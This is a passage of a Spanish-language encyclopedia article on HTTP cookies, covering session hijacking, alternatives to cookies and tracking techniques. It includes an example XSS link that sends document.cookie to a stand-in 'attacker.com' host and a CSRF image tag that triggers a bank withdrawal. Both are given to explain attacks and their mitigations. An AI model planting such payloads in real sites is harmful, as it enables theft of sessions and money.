Muchos operadores de publicidad tienen una opción de exclusión voluntaria de la publicidad comportamental: una cookie genérica en el navegador detiene la publicidad comportamental. [87] [88] Sin embargo, esto suele ser ineficaz frente a muchas formas de seguimiento, como el seguimiento de origen que está ganando popularidad para evitar el impacto de que los navegadores bloqueen las cookies de terceros. [89] [90] Además, si tal configuración es más difícil de implementar que la aceptación del seguimiento, sigue infringiendo las condiciones de la Directiva sobre privacidad electrónica. [76]
La mayoría de los sitios web utilizan cookies como únicos identificadores de las sesiones de los usuarios, porque otros métodos para identificar a los usuarios web tienen limitaciones y vulnerabilidades. Si un sitio web utiliza cookies como identificadores de sesión, los atacantes pueden hacerse pasar por las solicitudes de los usuarios robando un conjunto completo de cookies de las víctimas. Desde el punto de vista del servidor web, una solicitud de un atacante tiene la misma autenticación que las solicitudes de la víctima; por tanto, la solicitud se realiza en nombre de la sesión de la víctima.
A continuación se enumeran varios escenarios de robo de cookies y secuestro de sesiones de usuario (incluso sin robar cookies de usuario) que funcionan con sitios web que dependen únicamente de cookies HTTP para la identificación del usuario.
El tráfico en una red puede ser interceptado y leído por computadoras en la red distintas del remitente y el receptor (particularmente a través de Wi-Fi abierto no cifrado ). Este tráfico incluye cookies enviadas en sesiones HTTP ordinarias no cifradas . Cuando el tráfico de la red no está cifrado, los atacantes pueden leer las comunicaciones de otros usuarios de la red, incluidas las cookies HTTP, así como el contenido completo de las conversaciones, con el fin de realizar un ataque de intermediario .
Un atacante podría utilizar cookies interceptadas para hacerse pasar por un usuario y realizar una tarea maliciosa, como transferir dinero desde la cuenta bancaria de la víctima.
Este problema se puede resolver asegurando la comunicación entre la computadora del usuario y el servidor empleando Transport Layer Security ( protocolo HTTPS ) para cifrar la conexión. Un servidor puede especificar la Securebandera mientras configura una cookie, lo que hará que el navegador envíe la cookie solo a través de un canal cifrado, como una conexión TLS. [43]
Si un atacante puede hacer que un servidor DNS almacene en caché una entrada DNS fabricada (llamado envenenamiento de caché DNS ), esto podría permitirle al atacante obtener acceso a las cookies de un usuario. Por ejemplo, un atacante podría utilizar el envenenamiento de la caché de DNS para crear una entrada DNS fabricada f12345.www.example.comque apunte a la dirección IP del servidor del atacante. Luego, el atacante puede publicar una URL de imagen desde su propio servidor (por ejemplo, http://f12345.www.example.com/img_4_cookie.jpg). Las víctimas que leyeran el mensaje del atacante descargarían esta imagen de f12345.www.example.com. Dado que f12345.www.example.comes un subdominio de www.example.com, los navegadores de las víctimas enviarían todas example.comlas cookies relacionadas al servidor del atacante.
Si un atacante puede lograr esto, generalmente es culpa de los proveedores de servicios de Internet por no proteger adecuadamente sus servidores DNS. Sin embargo, la gravedad de este ataque puede reducirse si el sitio web de destino utiliza cookies seguras. En este caso, el atacante tendría el desafío adicional [91] de obtener el certificado TLS del sitio web objetivo de una autoridad certificadora , ya que las cookies seguras solo se pueden transmitir a través de una conexión cifrada. Sin un certificado TLS coincidente, los navegadores de las víctimas mostrarían un mensaje de advertencia sobre el certificado no válido del atacante, lo que ayudaría a disuadir a los usuarios de visitar el sitio web fraudulento del atacante y enviarle sus cookies.
Las cookies también se pueden robar mediante una técnica llamada secuencias de comandos entre sitios. Esto ocurre cuando un atacante aprovecha un sitio web que permite a sus usuarios publicar contenido HTML y JavaScript sin filtrar . Al publicar código HTML y JavaScript malicioso, el atacante puede hacer que el navegador web de la víctima envíe las cookies de la víctima a un sitio web que controla el atacante.
Como ejemplo, un atacante puede publicar un mensaje www.example.comcon el siguiente enlace:
< a href = "#" onclick = "window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;" > ¡ Haz clic aquí! </a> _ _
Cuando otro usuario hace clic en este enlace, el navegador ejecuta el fragmento de código dentro del onclickatributo, reemplazando así la cadena document.cookiecon la lista de cookies a las que se puede acceder desde la página actual. Como resultado, esta lista de cookies se envía al attacker.comservidor. Si la publicación maliciosa del atacante se realiza en un sitio web HTTPS https://www.example.com, también se enviarán cookies seguras a attacker.com en texto sin formato.
Es responsabilidad de los desarrolladores del sitio web filtrar dicho código malicioso.
Estos ataques se pueden mitigar mediante el uso de cookies HttpOnly. Estas cookies no serán accesibles mediante lenguajes de secuencias de comandos del lado del cliente como JavaScript y, por lo tanto, el atacante no podrá recopilar estas cookies.
En versiones anteriores de muchos navegadores, había agujeros de seguridad en la implementación de la API XMLHttpRequest . Esta API permite que las páginas especifiquen un servidor proxy que recibirá la respuesta, y este servidor proxy no está sujeto a la política del mismo origen . Por ejemplo, una víctima está leyendo la publicación de un atacante en www.example.comy el script del atacante se ejecuta en el navegador de la víctima. El script genera una solicitud www.example.comcon el servidor proxy attacker.com. Dado que la solicitud es para www.example.com, todas example.comlas cookies se enviarán junto con la solicitud, pero se enrutarán a través del servidor proxy del atacante. Por lo tanto, el atacante podría recolectar las cookies de la víctima.
Este ataque no funcionaría con cookies seguras, ya que sólo pueden transmitirse a través de conexiones HTTPS y el protocolo HTTPS dicta el cifrado de extremo a extremo (es decir, la información se cifra en el navegador del usuario y se descifra en el servidor de destino). En este caso, el servidor proxy solo verá los bytes cifrados y sin procesar de la solicitud HTTP.
Por ejemplo, Bob podría estar navegando en un foro de chat donde otro usuario, Mallory, publicó un mensaje. Supongamos que Mallory ha creado un elemento de imagen HTML que hace referencia a una acción en el sitio web del banco de Bob (en lugar de un archivo de imagen), por ejemplo,
<img src= "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" > Si el banco de Bob mantiene su información de autenticación en una cookie, y si la cookie no ha caducado, entonces el intento del navegador de Bob de cargar la imagen enviará el formulario de retiro con su cookie, autorizando así una transacción sin la aprobación de Bob.
Cookiejacking es un ataque contra Internet Explorer que permite al atacante robar cookies de sesión de un usuario engañándolo para que arrastre un objeto por la pantalla. [92] Microsoft consideró que la falla era de bajo riesgo debido al "nivel de interacción requerida del usuario", [92] y la necesidad de que un usuario ya haya iniciado sesión en el sitio web cuya cookie fue robada. [93] A pesar de esto, un investigador intentó el ataque a 150 de sus amigos de Facebook y obtuvo cookies de 80 de ellos a través de ingeniería social . [92]
Además de los problemas de privacidad, las cookies también tienen algunos inconvenientes técnicos. En particular, no siempre identifican con precisión a los usuarios, pueden usarse para ataques de seguridad y, a menudo, están en desacuerdo con el estilo arquitectónico del software de transferencia de estado representacional ( REST ). [94] [95]
Si se utiliza más de un navegador en una computadora, cada uno normalmente tiene un área de almacenamiento separada para las cookies. Por lo tanto, las cookies no identifican a una persona, sino a una combinación de una cuenta de usuario, una computadora y un navegador web. Por lo tanto, cualquiera que utilice varias cuentas, computadoras o navegadores tendrá múltiples conjuntos de cookies. [96]
Asimismo, las cookies no diferencian entre varios usuarios que comparten la misma cuenta de usuario , computadora y navegador.
Algunas de las operaciones que se pueden realizar utilizando cookies también se pueden realizar utilizando otros mecanismos.
Un JSON Web Token (JWT) es un paquete de información autónomo que se puede utilizar para almacenar información de identidad y autenticidad del usuario. Esto permite que se utilicen en lugar de cookies de sesión. A diferencia de las cookies, que el navegador adjunta automáticamente a cada solicitud HTTP, la aplicación web debe adjuntar explícitamente los JWT a cada solicitud HTTP.
El protocolo HTTP incluye los protocolos de autenticación de acceso básico y de autenticación de acceso implícito , que permiten el acceso a una página web sólo cuando el usuario ha proporcionado el nombre de usuario y la contraseña correctos. Si el servidor requiere dichas credenciales para otorgar acceso a una página web, el navegador las solicita al usuario y, una vez obtenidas, las almacena y envía en cada solicitud de página posterior. Esta información puede ser usada para localizar al usuario.
La parte de la cadena de consulta de la URL es la que normalmente se usa para este propósito, pero también se pueden usar otras partes. Los mecanismos de sesión Java Servlet y PHP utilizan este método si las cookies no están habilitadas.
Este método consiste en que el servidor web agregue cadenas de consulta que contengan un identificador de sesión único a todos los enlaces dentro de una página web. Cuando el usuario sigue un enlace, el navegador envía la cadena de consulta al servidor, lo que le permite identificar al usuario y mantener el estado.
Este tipo de cadenas de consulta son muy similares a las cookies en el sentido de que ambas contienen información arbitraria elegida por el servidor y ambas se envían de vuelta al servidor en cada solicitud. Sin embargo, hay algunas diferencias. Dado que una cadena de consulta es parte de una URL, si esa URL se reutiliza posteriormente, se enviará al servidor la misma información adjunta, lo que podría generar confusión. Por ejemplo, si las preferencias de un usuario están codificadas en la cadena de consulta de una URL y el usuario envía esta URL a otro usuario por correo electrónico , esas preferencias también se utilizarán para ese otro usuario.
Además, si el mismo usuario accede a la misma página varias veces desde diferentes fuentes, no hay garantía de que se utilice la misma cadena de consulta cada vez. Por ejemplo, si un usuario visita una página desde una página interna del sitio la primera vez y luego visita la misma página desde un motor de búsqueda externo la segunda vez, las cadenas de consulta probablemente serán diferentes. Si se utilizaran cookies en esta situación, las cookies serían las mismas.
Otros inconvenientes de las cadenas de consulta están relacionados con la seguridad. El almacenamiento de datos que identifican una sesión en una cadena de consulta permite ataques de fijación de sesiones , ataques de registro de referencias y otras vulnerabilidades de seguridad . Transferir identificadores de sesión como cookies HTTP es más seguro.
Otra forma de seguimiento de sesiones es utilizar formularios web con campos ocultos. Esta técnica es muy similar al uso de cadenas de consulta URL para contener la información y tiene muchas de las mismas ventajas e inconvenientes. De hecho, si el formulario se maneja con el método HTTP GET, entonces esta técnica es similar al uso de cadenas de consulta de URL, ya que el método GET agrega los campos del formulario a la URL como una cadena de consulta. Pero la mayoría de los formularios se manejan con HTTP POST, lo que hace que la información del formulario, incluidos los campos ocultos, se envíe en el cuerpo de la solicitud HTTP, que no forma parte de la URL ni de una cookie.
Este enfoque presenta dos ventajas desde el punto de vista del rastreador. En primer lugar, tener la información de seguimiento colocada en el cuerpo de la solicitud HTTP en lugar de en la URL significa que el usuario promedio no la notará. En segundo lugar, la información de la sesión no se copia cuando el usuario copia la URL (para marcar la página como favorita o enviarla por correo electrónico, por ejemplo).
Todos los navegadores web actuales pueden almacenar una cantidad bastante grande de datos (2 a 32 MB) a través de JavaScript utilizando la propiedad DOMwindow.name . Estos datos se pueden utilizar en lugar de cookies de sesión. La técnica se puede combinar con objetos JSON /JavaScript para almacenar conjuntos complejos de variables de sesión en el lado del cliente.
La desventaja es que cada ventana o pestaña separada tendrá inicialmente una window.namepropiedad vacía cuando se abra.
En algunos aspectos, esto puede ser más seguro que las cookies debido al hecho de que su contenido no se envía automáticamente al servidor en cada solicitud como lo hacen las cookies, por lo que no es vulnerable a los ataques de rastreo de cookies de la red.
Es posible que se realice un seguimiento de algunos usuarios en función de la dirección IP de la computadora que solicita la página. El servidor conoce la dirección IP de la computadora que ejecuta el navegador (o el proxy , si se usa alguno) y, en teoría, podría vincular la sesión de un usuario a esta dirección IP.
Sin embargo, las direcciones IP generalmente no son una forma confiable de rastrear una sesión o identificar a un usuario. Muchas computadoras diseñadas para ser utilizadas por un solo usuario, como las de oficina o domésticas, están detrás de un traductor de direcciones de red (NAT). Esto significa que varias PC compartirán una dirección IP pública. Además, algunos sistemas, como Tor , están diseñados para conservar el anonimato en Internet , lo que hace que el seguimiento por dirección IP sea poco práctico, imposible o un riesgo para la seguridad.
Debido a que el navegador almacena en caché las ETag y las devuelve con solicitudes posteriores para el mismo recurso, un servidor de seguimiento puede simplemente repetir cualquier ETag recibida del navegador para garantizar que una ETag asignada persista indefinidamente (de manera similar a las cookies persistentes). Los campos de encabezado de almacenamiento en caché adicionales también pueden mejorar la preservación de los datos de ETag.
Las ETags se pueden eliminar en algunos navegadores borrando el caché del navegador .
La caché del navegador también se puede utilizar para almacenar información que se puede utilizar para rastrear usuarios individuales. Esta técnica aprovecha el hecho de que el navegador web utilizará los recursos almacenados en la memoria caché en lugar de descargarlos del sitio web cuando determina que la memoria caché ya tiene la versión más actualizada del recurso.
Por ejemplo, un sitio web podría ofrecer un archivo JavaScript con un código que establezca un identificador único para el usuario (por ejemplo, var userId = 3243242;). Después de la visita inicial del usuario, cada vez que el usuario acceda a la página, este archivo se cargará desde el caché en lugar de descargarse del servidor. Por tanto, su contenido nunca cambiará.
Una huella digital del navegador es información recopilada sobre la configuración de un navegador, como el número de versión, la resolución de la pantalla y el sistema operativo, con fines de identificación. Las huellas dactilares se pueden utilizar para identificar total o parcialmente a usuarios o dispositivos individuales incluso cuando las cookies están desactivadas.
Los servicios de análisis web han recopilado durante mucho tiempo información básica de configuración del navegador web en un esfuerzo por medir con precisión el tráfico web humano real y descartar diversas formas de fraude de clics . Con la ayuda de lenguajes de scripting del lado del cliente , es posible recopilar parámetros mucho más esotéricos. [97] [98] La asimilación de dicha información en una sola cadena constituye una huella digital del dispositivo. En 2010, EFF midió al menos 18,1 bits de entropía posibles a partir de las huellas dactilares del navegador. [99] La toma de huellas digitales en lienzo , una técnica más reciente, pretende agregar otros 5,7 bits.
Algunos navegadores web admiten mecanismos de persistencia que permiten que la página almacene la información localmente para su uso posterior.
El estándar HTML5 (que la mayoría de los navegadores web modernos admiten hasta cierto punto) incluye una API de JavaScript llamada almacenamiento web que permite dos tipos de almacenamiento: almacenamiento local y almacenamiento de sesión. El almacenamiento local se comporta de manera similar a las cookies persistentes, mientras que el almacenamiento de sesión se comporta de manera similar a las cookies de sesión, excepto que el almacenamiento de la sesión está vinculado a la vida útil de una pestaña/ventana individual (también conocida como sesión de página), no a una sesión completa del navegador como las cookies de sesión. [100]
Internet Explorer admite información persistente [101] en el historial del navegador, en los favoritos del navegador, en un almacén XML ("datos de usuario") o directamente dentro de una página web guardada en el disco.
Algunos complementos del navegador web también incluyen mecanismos de persistencia. Por ejemplo, Adobe Flash tiene un objeto compartido local y Microsoft Silverlight tiene almacenamiento aislado. [102]
{{cite web}}: CS1 maint: unfit URL (link)
